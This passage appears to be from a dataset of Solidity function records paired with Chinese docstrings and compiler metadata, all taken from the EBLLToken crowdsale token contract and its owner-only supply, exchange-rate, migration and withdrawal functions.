allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
setTokenExchangeRate
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; }
/// 设置token汇率
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://9e87e34acca5d31437ee3a85dfa9e91d9694708ed9df319a414e4530c61d4672
{ "func_code_index": [ 1881, 2127 ] }
14,197
EBLLToken
EBLLToken.sol
0x8fbc31c70f6f3cc24d417df9e287806ac6f2ceb0
Solidity
EBLLToken
contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
increaseSupply
function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); }
/// @dev 超发token处理
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://9e87e34acca5d31437ee3a85dfa9e91d9694708ed9df319a414e4530c61d4672
{ "func_code_index": [ 2155, 2420 ] }
14,198
EBLLToken
EBLLToken.sol
0x8fbc31c70f6f3cc24d417df9e287806ac6f2ceb0
Solidity
EBLLToken
contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
decreaseSupply
function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); }
/// @dev 被盗token处理
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://9e87e34acca5d31437ee3a85dfa9e91d9694708ed9df319a414e4530c61d4672
{ "func_code_index": [ 2448, 2721 ] }
14,199